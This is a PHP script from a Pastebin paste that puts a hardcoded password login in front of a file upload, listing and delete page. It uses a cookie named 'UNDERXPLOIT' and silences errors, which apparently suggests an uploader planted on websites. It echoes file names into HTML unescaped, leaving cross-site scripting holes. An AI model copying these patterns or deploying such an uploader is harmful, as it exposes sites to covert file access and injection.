Advertisement
Guest User

M

a guest
Nov 14th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.44 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ob_start('ob_gzhandler');
  4. session_start();
  5.  
  6. $username = '@#';
  7. $password = '@#';
  8.  
  9. function pac($str) {
  10.     echo $str;
  11. }
  12. pac("<html><head>
  13.  
  14. <title>Login</title>
  15. <meta name='viewport' content='width=device-width, initial-scale=1.0'>
  16. <style>
  17. @import url('https://fonts.googleapis.com/css?family=Cabin');
  18. *{
  19.     padding: 0;
  20.     margin: 0;
  21.     box-sizing:border-box;
  22. }
  23. body {
  24.     margin:auto;
  25.     background: #191919;
  26.     font-family: 'Cabin';
  27.    -webkit-font-smoothing:antialiased;
  28.     font-size: 14px;
  29.    color:#fff;
  30.    text-shadow:0px 0px 0px #343436;
  31. }
  32. *:focus {
  33.     outline: 0;
  34. }
  35. .content {
  36.     margin:10px;
  37.     background:#222;
  38.     padding:7px;
  39.     color:#fff;
  40.     box-shadow:0px 1px 1px rgba(0,0,0,0.1) inset;
  41.     border-radius:5px;
  42.     max-width:350px;
  43. }
  44. input[type=text], input[type=password] {
  45.     padding:7px;
  46.     font-size:14px;
  47.     font-family: 'Cabin';
  48.     width:100%;
  49.     border:1px solid #343436;
  50.     background:none;
  51.     color: #FA5A5A;
  52. }
  53. input[type=text]:hover, input[type=password]:hover {
  54.     border:1px solid #FA5A5A;
  55.     transition: all 0.5s;
  56. }
  57. button {
  58.     padding:7px;
  59.     font-size:14px;
  60.     font-family: 'Cabin';
  61.     background:#FA5A5A;
  62.     width:100px;
  63.     border:1px solid #FA5A5A;
  64. }
  65. button:hover {
  66.     background:none;
  67.     color:#FA5A5A;
  68.     border:1px solid #FA5A5A;
  69.     transition: all 0.5s;
  70. }
  71. .top5 {
  72.     margin-top: 5px;
  73. }
  74.  
  75. hr {
  76.     border: 0;
  77.     height: 1px;
  78.     background-image: -webkit-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
  79.     background-image: -moz-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
  80.     background-image: -ms-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
  81.     background-image: -o-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
  82. }
  83. h3 {
  84.     font-weight:500;
  85. }
  86. </style></head></body>");
  87. function form() {
  88.     pac("<form action='' method='post'>
  89.     <table>
  90. <td>Username :</td>
  91.     <td><input name='user' type='text'></td><tr>
  92. <td>Password :</td>
  93.     <td><input name='pass' type='password'></td>
  94.     <tr>
  95.     <td></td><td><button name='login'>Login!</button></td></table>
  96.     </form>");
  97. }
  98. pac("<script>
  99.    baseUrl = window.location.href.split('?')[0];
  100.    window.history.pushState('name', '?', baseUrl);
  101. </script>");
  102. if(isset($_GET['out'])) {
  103.     setcookie('UNDERXPLOIT', time() - 3600);
  104.     unset($_SESSION['username']);
  105. }
  106. pac('<div class="container">');
  107. if(isset($_POST['login'])) {
  108. if($_POST['user'] == $username AND $_POST['pass'] == $password) {
  109.     $_SESSION['username'] = $username;
  110.     $_COOKIE[$username] = $password;
  111.     setcookie('UNDERXPLOIT', md5($_SERVER['HTTP_HOST']));
  112. } else if(empty($_POST['user']) || empty($_POST['pass'])) {
  113.     pac('<div class="content">Form Can\'t be  Empty !!</div>');
  114. } else {
  115.     pac('<div class="content">Invalid Username or Password !!</div>');
  116.     }
  117. }
  118. pac('<div class="content"><center><br><h3>LOGIN</h3><br><hr><br></center>');
  119. if($_SESSION['username'] == $username) {
  120.     pac('<!DOCTYPE html>
  121. <html>
  122. <head>
  123.  
  124. <!-- Latest compiled and minified CSS -->
  125. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  126.  
  127. <!-- Optional theme -->
  128. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  129.  
  130. <!-- Latest compiled and minified JavaScript -->
  131. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  132. <title>Upload Download File</title>
  133.  
  134. <script type="text/javascript">
  135. function checkSize(max_img_size)
  136. {   var input = document.getElementById("fileupload");
  137.    if(input.files && input.files.length == 1)
  138.    {   if (input.files[0].size > max_img_size)
  139.        {  alert("Ukuran file harus di bawah "
  140.                  + (max_img_size/1024/1024) + " MB");
  141.            return false;
  142.        }
  143.    }
  144.    return true;
  145. }
  146. </script>
  147. </head>
  148. <style>
  149. body {
  150.     margin:auto;
  151.     background: #191919;
  152.     font-family: 'Cabin';
  153.    -webkit-font-smoothing:antialiased;
  154.     font-size: 14px;
  155.    color:#fff;
  156.    text-shadow:0px 0px 0px #343436;
  157. }
  158. </style>
  159. <body><br><br><br><strong>
  160. <center>
  161. <form enctype="multipart/form-data" action="uploader.php" method="post"
  162.      onsubmit="return checkSize(10488999998998576);">
  163. Choose a file to upload: <input name="uploadedfile" type="file" id="fileupload" /><br />
  164. <input type="submit" value="Upload File" class="btn btn-primary btn-sm" />
  165. </form>
  166. </center>
  167. <br/>
  168.  
  169. <table class="table table-bordered table-dark">
  170.  <thead><tr>
  171. <th>File Name</th>
  172. <th>Upload Date</th>
  173. <th>Type</th>
  174. <th>Size</th>
  175. <th>Delete</th>
  176. </tr>
  177. </thead>');
  178.  
  179. if ($handle = opendir('./s/'))
  180. {   while (false !== ($file = readdir($handle)))
  181.     {   if($file!=="." && $file !=="..")
  182.     {   echo "<tr><td><a href=\"download.php?id=" . urlencode($file). "\">$file</a></td>";
  183.         echo "<td>" . date ("d/m/Y H:i", filemtime("s/".$file)) . "</td>";
  184.         echo "<td>" . pathinfo("s/".$file, PATHINFO_EXTENSION) . " file </td>";
  185.         echo "<td>" . round(filesize("s/".$file)/1024) . " KB</td>";
  186.         echo "<td><a href=\"hapus.php?id=$file\">Del</a></td></tr>";
  187.         }
  188.     }
  189.     closedir($handle);
  190. }
  191. pac('
  192. </table>
  193. </div>
  194. </body>
  195. </html>
  196. <a href="?out">./Logout</a><br>');
  197.     } else {
  198.         form();
  199.     }
  200. pac("<br><hr></div></div>");
  201. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement